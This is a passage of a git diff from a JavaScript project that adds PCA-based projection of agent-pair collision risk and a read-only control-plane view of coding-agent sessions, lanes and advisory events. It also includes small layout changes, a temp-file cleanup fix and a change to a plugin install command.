v[k][p]; + const vkq = v[k][q]; + v[k][p] = c * vkp - s * vkq; + v[k][q] = s * vkp + c * vkq; + } + } + } + } + const order = Array.from({ length: n }, (_, i) => i).sort((i, j) => a[j][j] - a[i][i]); + return { + values: order.map(i => a[i][i]), + vectors: order.map(i => v.map(row => row[i])) + }; +} + +/** + * PCA over a row matrix. Returns the scores for the first `components` + * components, the loadings (unit eigenvectors) and the explained variance. + * Fewer than two rows, or zero total variance, yields all-zero scores. + */ +function pca(rows, components = PROJECTION_DEFAULTS.components) { + const n = rows.length; + const dims = n > 0 ? rows[0].length : CHANNEL_ORDER.length; + const k = Math.max(1, Math.min(components, dims)); + const centre = Array.from({ length: dims }, (_, d) => mean(rows.map(r => r[d]))); + const zeroScores = rows.map(() => new Array(k).fill(0)); + if (n < 2) { + return { scores: zeroScores, loadings: [], explainedVariance: new Array(k).fill(0), centre }; + } + const cov = Array.from({ length: dims }, () => new Array(dims).fill(0)); + for (const row of rows) { + for (let i = 0; i < dims; i += 1) { + for (let j = i; j < dims; j += 1) { + cov[i][j] += (row[i] - centre[i]) * (row[j] - centre[j]); + } + } + } + for (let i = 0; i < dims; i += 1) for (let j = i; j < dims; j += 1) { + cov[i][j] /= n - 1; + cov[j][i] = cov[i][j]; + } + const total = cov.reduce((s, row, i) => s + row[i], 0); + if (!(total > 1e-12)) { + return { scores: zeroScores, loadings: [], explainedVariance: new Array(k).fill(0), centre }; + } + const eig = symmetricEigen(cov); + const loadings = eig.vectors.slice(0, k); + const scores = rows.map(row => loadings.map(vec => vec.reduce((s, w, d) => s + w * (row[d] - centre[d]), 0))); + const explainedVariance = eig.values.slice(0, k).map(val => Math.max(0, val) / total); + return { scores, loadings, explainedVariance, centre }; +} + +function channelVector(channels) { + return CHANNEL_ORDER.map(key => finite(channels && channels[key])); +} + +/** + * Project a set of pair links ({ a, b, risk, channels }) to 2D. + * + * The window is optional; when given, each link's channel vector is pushed + * into it and the normalization uses the window stats (rolling z-score plus + * tail clip). Without a window, or while the window holds fewer than + * `minWindowForZscore` samples, the raw [0, 1] channel values are used and the + * result says so (`normalization: 'raw'`). + * + * @returns {{ pairs, agents, normalization, window, pca }} + */ +function projectPairs(links, options = {}) { + const list = Array.isArray(links) ? links.filter(l => l && l.a !== undefined && l.b !== undefined) : []; + const weights = { tree: 0.25, overlap: 1.0, dependency: 0.9, ...(options.channelWeights || {}) }; + const window = options.window || null; + const minWindow = Number.isFinite(options.minWindowForZscore) ? options.minWindowForZscore : PROJECTION_DEFAULTS.minWindowForZscore; + + const raw = list.map(l => channelVector(l.channels)); + if (window && options.sample !== false) for (const vec of raw) window.push(vec); + + let stats = null; + let normalization = 'raw'; + let normalized = raw; + if (window && window.length >= minWindow) { + stats = window.stats(); + normalized = raw.map(vec => normalizeSample(vec, stats)); + normalization = 'zscore-clipped'; + } + const weighted = normalized.map(vec => vec.map((v, i) => v * finite(weights[CHANNEL_ORDER[i]]))); + const result = pca(weighted, options.components || PROJECTION_DEFAULTS.components); + + const pairs = list.map((l, i) => ({ + a: l.a, + b: l.b, + risk: finite(l.risk), + level: l.level || null, + channels: Object.fromEntries(CHANNEL_ORDER.map((key, d) => [CHANNEL_LABELS[key], raw[i][d]])), + normalized: Object.fromEntries(CHANNEL_ORDER.map((key, d) => [CHANNEL_LABELS[key], normalized[i][d]])), + point: result.scores[i] + })); + + // Agent position: risk-weighted centroid of its pair points. A floor keeps + // a clear pair from vanishing, so every agent with a pair gets a position. + const byAgent = new Map(); + for (const pair of pairs) { + const w = 0.05 + pair.risk; + for (const id of [pair.a, pair.b]) { + const acc = byAgent.get(id) || { sum: pair.point.map(() => 0), w: 0, pairs: 0, maxRisk: 0 }; + pair.point.forEach((x, d) => { + acc.sum[d] += x * w; + }); + acc.w += w; + acc.pairs += 1; + acc.maxRisk = Math.max(acc.maxRisk, pair.risk); + byAgent.set(id, acc); + } + } + const agents = [...byAgent.entries()].map(([agentId, acc]) => ({ + agentId, + point: acc.sum.map(x => (acc.w > 0 ? x / acc.w : 0)), + pairs: acc.pairs, + maxRisk: acc.maxRisk + })); + + return { + method: 'pca', + channels: CHANNEL_ORDER.map(key => CHANNEL_LABELS[key]), + weights: Object.fromEntries(CHANNEL_ORDER.map(key => [CHANNEL_LABELS[key], finite(weights[key])])), + normalization, + window: stats ? { samples: stats.samples, percentiles: stats.percentiles, channels: stats.channels.map(c => ({ ...c, channel: CHANNEL_LABELS[c.channel] })) } : { samples: window ? window.length : 0, percentiles: PROJECTION_DEFAULTS.clipPercentiles, channels: [] }, + pca: { + loadings: result.loadings.map(vec => Object.fromEntries(CHANNEL_ORDER.map((key, d) => [CHANNEL_LABELS[key], vec[d]]))), + explainedVariance: result.explainedVariance + }, + pairs, + agents + }; +} + +module.exports = { + PROJECTION_DEFAULTS, + CHANNEL_ORDER, + CHANNEL_LABELS, + percentile, + createProjectionWindow, + normalizeSample, + pca, + projectPairs, + _internal: { symmetricEigen, mean, stddev } +}; diff --git a/scripts/lib/claude-plugin-setup.js b/scripts/lib/claude-plugin-setup.js index 0672b505e..63c116759 100644 --- a/scripts/lib/claude-plugin-setup.js +++ b/scripts/lib/claude-plugin-setup.js @@ -570,7 +570,6 @@ function verifyPluginAtScope(options) { function ensurePluginAtScope(options) { const run = options.run || runClaude; - const configuredHooks = options.hookConfiguration || hookOptions(options.hooks); if (options.installed) { run( ['plugin', 'update', CURRENT_PLUGIN_ID, '--scope', options.scope], @@ -582,8 +581,6 @@ function ensurePluginAtScope(options) { [ 'plugin', 'install', CURRENT_PLUGIN_ID, '--scope', options.scope, - '--config', `hooks_enabled=${configuredHooks.hooks_enabled}`, - '--config', `hook_profile=${configuredHooks.hook_profile}`, ], { cwd: options.projectRoot, phase: 'plugin-install' } ); diff --git a/scripts/lib/codex-legacy-sync.js b/scripts/lib/codex-legacy-sync.js index 5eb92d180..12cdc392b 100644 --- a/scripts/lib/codex-legacy-sync.js +++ b/scripts/lib/codex-legacy-sync.js @@ -131,8 +131,15 @@ function removeOpenedRegularFile(filePath, opened) { function atomicWriteJson(filePath, value) { fs.mkdirSync(path.dirname(filePath), { recursive: true, mode: 0o700 }); const tempPath = `${filePath}.tmp-${process.pid}-${Date.now()}`; - fs.writeFileSync(tempPath, `${JSON.stringify(value, null, 2)}\n`, { mode: 0o600 }); - fs.renameSync(tempPath, filePath); + try { + fs.writeFileSync(tempPath, `${JSON.stringify(value, null, 2)}\n`, { mode: 0o600 }); + fs.renameSync(tempPath, filePath); + } catch (error) { + // A failed write/rename must not leave a .tmp-- file + // beside the canonical state file; repeated failures would accumulate them. + fs.rmSync(tempPath, { force: true }); + throw error; + } } function readState(statePath) { diff --git a/scripts/lib/control-pane/control-plane-view-ui.js b/scripts/lib/control-pane/control-plane-view-ui.js new file mode 100644 index 000000000..2abf84d9b --- /dev/null +++ b/scripts/lib/control-pane/control-plane-view-ui.js @@ -0,0 +1,243 @@ +'use strict'; + +/** + * Self-contained control-plane live view page, served at /control-plane. + * + * Draws the 2D PCA projection of the agent pairs (projection.js) on a canvas, + * the lanes and tasks beside it, and the advisory event feed. Polls + * /api/control-plane. No external scripts, no framework: it has to work on a + * loopback server with a strict CSP and offline. + */ + +function renderControlPlaneViewHtml() { + return ` + + + + +ECC Control Plane + + + +
+

ECC Control Plane

+ connecting... + +
+
+
+ +
+
+
clear
+
traffic advisory (transmit)
+
resolution advisory (steer)
+
+
+
+

Events

+
No events.
+

Lanes

+
No tasks.
+
+
+ + +`; +} + +module.exports = { renderControlPlaneViewHtml }; diff --git a/scripts/lib/control-pane/control-plane-view.js b/scripts/lib/control-pane/control-plane-view.js new file mode 100644 index 000000000..32f6a57ee --- /dev/null +++ b/scripts/lib/control-pane/control-plane-view.js @@ -0,0 +1,358 @@ +'use strict'; + +/** + * ECC control-plane live view. + * + * One JSON document, `ecc.control-plane.view.v1`, that joins three things the + * repo already computes separately: + * + * 1. the control-pane session snapshot (state.js): who is running where, + * 2. the agent-proximity airspace scan (agent-proximity + proximity.js): + * pairwise collision risk over the shipped channels x_tree, x_overlap, + * x_dep, with the 2D PCA projection from agent-proximity/projection.js, + * 3. the coordination inventory (coordination-inventory.js, PR #3028): + * declared tasks and sessions, heartbeat freshness, lease conflicts. + * + * The output is shaped as tasks, lanes and events so another control plane + * (the Ito ops board) can consume it without knowing ECC internals: + * + * task = one agent session (id, lane, harness, state, worktree, working + * set size, projected point, inventory observation) + * lane = a grouping of tasks (task group, project, or harness) + * event = something an operator or a hook may act on. Today: a proximity + * advisory at a static threshold, or a lease conflict. + * + * Everything here is read-only and advisory. The view does not acquire + * leases, does not steer agents and does not claim a conflict-reduction + * number. See docs/control-plane/VIEW-CONTRACT.md. + */ + +const { DEFAULTS, rightOfWay } = require('../agent-proximity/distance'); +const { projectPairs, createProjectionWindow } = require('../agent-proximity/projection'); + +const VIEW_SCHEMA_VERSION = 'ecc.control-plane.view.v1'; +const EVENT_KINDS = { + advisory: 'proximity.advisory', + leaseConflict: 'inventory.lease-conflict' +}; + +const IDENTIFIER = /^[a-zA-Z0-9][a-zA-Z0-9_.:-]*$/; +const OPEN_STATES = new Set(['running', 'pending', 'idle']); +const CLOSED_STATES = new Set(['completed', 'failed', 'stopped']); + +function isoOrNull(value) { + if (!value) return null; + const ms = Date.parse(value); + return Number.isFinite(ms) ? new Date(ms).toISOString() : null; +} + +/** + * Map a session id to an identifier the inventory accepts. Replaces anything + * outside the allowed alphabet, strips a leading non-alphanumeric run, and + * falls back to a positional id. Callers get the mapping back so a consumer + * can join inventory rows to tasks. + */ +function inventoryIdFor(id, index, taken) { + let candidate = String(id || '') + .replace(/[^a-zA-Z0-9_.:-]/g, '-') + .replace(/^[^a-zA-Z0-9]+/, '') + .slice(0, 200); + if (!candidate || ['__proto__', 'constructor', 'prototype'].includes(candidate)) candidate = `task-${index + 1}`; + let unique = candidate; + let n = 2; + while (taken.has(unique)) { + unique = `${candidate.slice(0, 190)}-${n}`; + n += 1; + } + taken.add(unique); + return IDENTIFIER.test(unique) ? unique : `task-${index + 1}`; +} + +function laneFor(session) { + if (session.taskGroup) return { id: `group:${session.taskGroup}`, label: session.taskGroup, kind: 'task-group' }; + if (session.project) return { id: `project:${session.project}`, label: session.project, kind: 'project' }; + const harness = session.harness || 'unknown'; + return { id: `harness:${harness}`, label: harness, kind: 'harness' }; +} + +function sessionDeclarationStatus(state) { + if (OPEN_STATES.has(state)) return 'open'; + if (CLOSED_STATES.has(state)) return 'closed'; + return 'unknown'; +} + +/** + * Build the #3028 manifest from live sessions plus the working sets the + * proximity scan already extracted. Declared-only by construction: the + * inventory library labels every row `declared-only` and this view keeps + * that label. + */ +function buildInventoryManifest(sessions, agentsById, options = {}) { + const taken = new Set(); + const idMap = new Map(); + const tasks = []; + const declaredSessions = []; + const limited = (sessions || []).slice(0, 64); + limited.forEach((session, index) => { + const invId = inventoryIdFor(session.id, index, taken); + idMap.set(session.id, invId); + const agent = agentsById.get(session.id); + const paths = (agent ? agent.files : []).filter(p => typeof p === 'string' && !p.startsWith('/') && !/^[A-Za-z]:/.test(p) && !p.split('/').some(x => !x || x === '.' || x === '..')).slice(0, 128); + tasks.push({ + id: invId, + repoId: null, + paths, + pid: Number.isSafeInteger(session.pid) && session.pid > 0 ? session.pid : null, + status: String(session.state || 'unknown').slice(0, 200) || 'unknown', + heartbeatAt: isoOrNull(session.lastHeartbeatAt), + statusFileModifiedAt: isoOrNull(session.updatedAt) + }); + declaredSessions.push({ + id: invId, + taskId: invId, + goalId: null, + status: sessionDeclarationStatus(session.state), + updatedAt: isoOrNull(session.lastHeartbeatAt || session.updatedAt) + }); + }); + const extra = options.manifest && typeof options.manifest === 'object' ? options.manifest : {}; + return { + manifest: { + version: 1, + repositories: Array.isArray(extra.repositories) ? extra.repositories : [], + tasks: [...tasks, ...(Array.isArray(extra.tasks) ? extra.tasks : [])], + sessions: [...declaredSessions, ...(Array.isArray(extra.sessions) ? extra.sessions : [])], + goals: Array.isArray(extra.goals) ? extra.goals : [], + leases: Array.isArray(extra.leases) ? extra.leases : [] + }, + idMap, + truncated: (sessions || []).length > limited.length + }; +} + +function runInventory(sessions, agentsById, options = {}) { + const built = buildInventoryManifest(sessions, agentsById, options); + try { + const { buildInventory } = options.inventoryModule || require('../coordination-inventory'); + const report = buildInventory(built.manifest, { now: options.now, resources: options.resources }); + return { status: 'ok', idMap: built.idMap, truncated: built.truncated, report }; + } catch (error) { + return { status: 'unavailable', idMap: built.idMap, truncated: built.truncated, reason: error.message, report: null }; + } +} + +/** + * Agent shape the right-of-way rule needs, rebuilt from the proximity + * snapshot's agent summaries (progress = recency-weighted file count). + */ +function priorityAgent(summary, agentId) { + if (!summary) return { agentId, files: [], startedAt: null }; + const progress = Number.isFinite(summary.progress) ? summary.progress : summary.fileCount || 0; + return { agentId, startedAt: summary.startedAt || null, files: [{ path: '', weight: progress }] }; +} + +/** + * Static-threshold advisory events, derived from every pair link against the + * view's own thresholds so an override changes the events, not only labels. + * The risk itself comes from the scan (noisy-OR, unchanged). + */ +function advisoryEvents(links, agentsById, thresholds, at) { + const events = []; + for (const link of links || []) { + if (!link || !Number.isFinite(link.risk) || link.risk < thresholds.ta) continue; + const resolution = link.risk >= thresholds.ra; + const level = resolution ? 'resolution' : 'traffic'; + const a = agentsById.get(link.a); + const b = agentsById.get(link.b); + const aLabel = (a && a.label) || link.a; + const bLabel = (b && b.label) || link.b; + const way = resolution ? rightOfWay(priorityAgent(a, link.a), priorityAgent(b, link.b)) : { steer: null, hold: null }; + const channels = link.channels || {}; + events.push({ + id: `${EVENT_KINDS.advisory}:${link.a}|${link.b}:${level}`, + kind: EVENT_KINDS.advisory, + level, + severity: resolution ? 'critical' : 'warning', + at, + subject: { a: link.a, b: link.b, aLabel, bLabel }, + risk: link.risk, + distance: Number.isFinite(link.distance) ? link.distance : 1 - link.risk, + channels: { + x_tree: Number.isFinite(channels.tree) ? channels.tree : null, + x_overlap: Number.isFinite(channels.overlap) ? channels.overlap : null, + x_dep: Number.isFinite(channels.dependency) ? channels.dependency : null + }, + threshold: { ta: thresholds.ta, ra: thresholds.ra, crossed: resolution ? 'ra' : 'ta', source: 'static' }, + action: resolution ? { type: 'steer', steer: way.steer, hold: way.hold } : { type: 'transmit', steer: null, hold: null }, + message: resolution + ? `Resolution advisory: ${way.steer} steers, ${way.hold} holds (risk ${Math.round(link.risk * 100)}%, static threshold ${thresholds.ra}).` + : `Traffic advisory: ${link.a} and ${link.b} transmit intent (risk ${Math.round(link.risk * 100)}%, static threshold ${thresholds.ta}).` + }); + } + events.sort((x, y) => y.risk - x.risk); + return events; +} + +function leaseConflictEvents(report, at) { + if (!report || !Array.isArray(report.leaseConflicts)) return []; + return report.leaseConflicts.map(conflict => ({ + id: `${EVENT_KINDS.leaseConflict}:${conflict.resource}`, + kind: EVENT_KINDS.leaseConflict, + level: 'conflict', + severity: 'warning', + at, + subject: { resource: conflict.resource, owners: conflict.owners }, + action: { type: 'review', steer: null, hold: null }, + message: `Declared lease conflict on ${conflict.resource}: ${conflict.owners.join(', ')}. Declared-only, not a lock.` + })); +} + +/** + * Build the live view from a control-pane snapshot that already carries a + * `proximity` field (buildControlPaneSnapshot with includeProximity: true). + * + * @param {object} snapshot control-pane snapshot + * @param {object} [options] { window, thresholds, now, manifest, resources, channelWeights } + */ +function buildControlPlaneView(snapshot, options = {}) { + const at = options.now || new Date().toISOString(); + const thresholds = { ...DEFAULTS.thresholds, ...(options.thresholds || {}) }; + const sessions = Array.isArray(snapshot && snapshot.sessions) ? snapshot.sessions : []; + const prox = (snapshot && snapshot.proximity) || {}; + const agents = Array.isArray(prox.agents) ? prox.agents : []; + const agentsById = new Map(agents.map(a => [a.agentId, a])); + + const projection = projectPairs(prox.links || [], { + window: options.window, + channelWeights: options.channelWeights, + sample: options.sample, + minWindowForZscore: options.minWindowForZscore + }); + const pointByAgent = new Map(projection.agents.map(a => [a.agentId, a])); + + const inventory = runInventory(sessions, agentsById, { + now: at, + manifest: options.manifest, + resources: options.resources, + inventoryModule: options.inventoryModule + }); + const inventoryTaskById = new Map(); + if (inventory.report) for (const task of inventory.report.tasks || []) inventoryTaskById.set(task.id, task); + + const lanes = new Map(); + const tasks = sessions.map(session => { + const lane = laneFor(session); + if (!lanes.has(lane.id)) lanes.set(lane.id, { ...lane, taskIds: [] }); + lanes.get(lane.id).taskIds.push(session.id); + const agent = agentsById.get(session.id); + const projected = pointByAgent.get(session.id); + const invId = inventory.idMap.get(session.id) || null; + const invTask = invId ? inventoryTaskById.get(invId) : null; + return { + id: session.id, + lane: lane.id, + label: session.task || session.id, + harness: session.harness || 'unknown', + agentType: session.agentType || '', + state: session.state || 'unknown', + pid: session.pid === undefined ? null : session.pid, + worktree: session.worktree || null, + heartbeatAt: isoOrNull(session.lastHeartbeatAt), + updatedAt: isoOrNull(session.updatedAt), + workingSet: { fileCount: agent ? agent.fileCount : 0, files: agent ? agent.files : [] }, + projection: projected ? { point: projected.point, pairs: projected.pairs, maxRisk: projected.maxRisk } : { point: null, pairs: 0, maxRisk: 0 }, + inventory: invTask ? { id: invId, heartbeat: invTask.heartbeat, process: invTask.process, authority: 'declared-only' } : { id: invId, heartbeat: null, process: null, authority: 'declared-only' } + }; + }); + + const events = [...advisoryEvents(prox.links, agentsById, thresholds, at), ...leaseConflictEvents(inventory.report, at)]; + + const { pairs, agents: projectedAgents, ...projectionMeta } = projection; + return { + schemaVersion: VIEW_SCHEMA_VERSION, + generatedAt: at, + source: { + snapshotSchema: snapshot ? snapshot.schemaVersion || null : null, + repoRoot: snapshot ? snapshot.repoRoot || null : null, + dbPath: snapshot ? snapshot.dbPath || null : null + }, + thresholds: { ta: thresholds.ta, ra: thresholds.ra, source: 'static' }, + lanes: [...lanes.values()], + tasks, + pairs, + events, + projection: { ...projectionMeta, agents: projectedAgents }, + inventory: inventory.report + ? { + status: 'ok', + truncated: inventory.truncated, + observedAt: inventory.report.observedAt, + mode: inventory.report.mode, + activity: inventory.report.activity, + leaseConflicts: inventory.report.leaseConflicts, + warnings: inventory.report.warnings, + coverage: inventory.report.coverage, + limits: inventory.report.limits + } + : { status: inventory.status, truncated: inventory.truncated, reason: inventory.reason || null }, + counts: { + lanes: lanes.size, + tasks: tasks.length, + agents: agents.length, + pairs: pairs.length, + events: events.length, + advisories: events.filter(e => e.kind === EVENT_KINDS.advisory).length, + resolutions: events.filter(e => e.kind === EVENT_KINDS.advisory && e.level === 'resolution').length + }, + limits: [ + 'Advisories use static thresholds; no learned threshold and no conflict-reduction claim.', + 'Projection is a display over the shipped channels x_tree, x_overlap, x_dep; it does not change risk.', + 'Inventory rows are declared-only observations; leases are not locks.', + 'The view does not steer, pause or lock any agent.' + ] + }; +} + +/** + * Stateful view builder for a long-lived server: keeps one projection window + * so z-scores roll over ticks. `buildSnapshot()` is injected (it is the + * control-pane snapshot with includeProximity: true). + */ +function createControlPlaneViewSource(deps = {}) { + const window = deps.window || createProjectionWindow(deps.projection || {}); + const clock = deps.clock || Date.now; + const interval = deps.sampleIntervalMs === undefined ? 5000 : deps.sampleIntervalMs; + if (!Number.isFinite(interval) || interval <= 0) throw new Error('sampleIntervalMs must be positive and finite'); + let cached = null; + let pending = null; + let expiresAt = 0; + async function refresh() { + const snapshot = await deps.buildSnapshot(); + const view = buildControlPlaneView(snapshot, { ...deps.viewOptions, window }); + cached = { snapshot, view }; + expiresAt = clock() + interval; + return cached; + } + return { + window, + async build(extra = {}) { + if (!cached || clock() >= expiresAt) { + if (!pending) pending = refresh().finally(() => { pending = null; }); + await pending; + } + if (Object.keys(extra).length === 0) return cached.view; + return buildControlPlaneView(cached.snapshot, { + ...deps.viewOptions, ...extra, now: extra.now || cached.view.generatedAt, window, sample: false + }); + } + }; +} + +module.exports = { + VIEW_SCHEMA_VERSION, + EVENT_KINDS, + buildControlPlaneView, + createControlPlaneViewSource, + buildInventoryManifest, + _internal: { inventoryIdFor, laneFor, sessionDeclarationStatus, advisoryEvents, leaseConflictEvents } +}; diff --git a/scripts/lib/control-pane/proximity-viz.js b/scripts/lib/control-pane/proximity-viz.js index 2780e5bcc..27e6cf499 100644 --- a/scripts/lib/control-pane/proximity-viz.js +++ b/scripts/lib/control-pane/proximity-viz.js @@ -27,11 +27,12 @@ function renderProximityVizHtml() { header { display: flex; align-items: baseline; gap: 12px; padding: 12px 16px; border-bottom: 1px solid #1f2630; } header h1 { font-size: 15px; margin: 0; } header .sub { color: #8b949e; font-size: 12px; } - #wrap { display: grid; grid-template-columns: 1fr 320px; height: calc(100vh - 49px); } - #stage { position: relative; } + #wrap { display: grid; grid-template-columns: 1fr 320px; grid-template-rows: minmax(0, 1fr); height: calc(100vh - 49px); } + #stage { position: relative; height: 100%; min-height: 0; } canvas { width: 100%; height: 100%; display: block; } #side { border-left: 1px solid #1f2630; padding: 12px 14px; overflow-y: auto; } #side h2 { font-size: 12px; text-transform: uppercase; letter-spacing: .04em; color: #8b949e; margin: 0 0 8px; } + #side h2:not(:first-child) { margin-top: 16px; } .adv { border: 1px solid #1f2630; border-radius: 8px; padding: 8px 10px; margin-bottom: 8px; } .adv.resolution { border-color: #b3402f; } .adv.advisory { border-color: #9a6700; } @@ -41,27 +42,33 @@ function renderProximityVizHtml() { .adv .who { color: #c9d1d9; } .adv .act { color: #8b949e; font-size: 12px; margin-top: 3px; } .empty { color: #6e7681; } + .agent-row { display: flex; gap: 8px; align-items: baseline; padding: 3px 0; font-size: 12px; } + .agent-row .who { color: #c9d1d9; overflow-wrap: anywhere; } + .agent-row .risk { margin-left: auto; color: #8b949e; white-space: nowrap; } #legend { position: absolute; left: 12px; bottom: 12px; font-size: 11px; color: #8b949e; background: rgba(11,14,20,.7); padding: 6px 8px; border-radius: 6px; } - .dot { display: inline-block; width: 8px; height: 8px; border-radius: 50%; margin-right: 5px; vertical-align: middle; } + .shape { display: inline-block; width: 12px; margin-right: 5px; text-align: center; font-weight: 700; }

ECC - Agent Airspace

connecting... + 2D control plane
- + Agent airspace visualization; see the Agents panel for per-agent risk.
-
clear
-
traffic advisory (transmit)
-
resolution (steer)
+
●clear
+
■traffic advisory (transmit)
+
▲resolution (steer)

Advisories

No advisories - airspace clear.
+

Agents

+
No agents.
', start); + assert.ok(start >= 0 && end > start, 'fixed renderer template must contain its inline script'); + const code = html.slice(start + '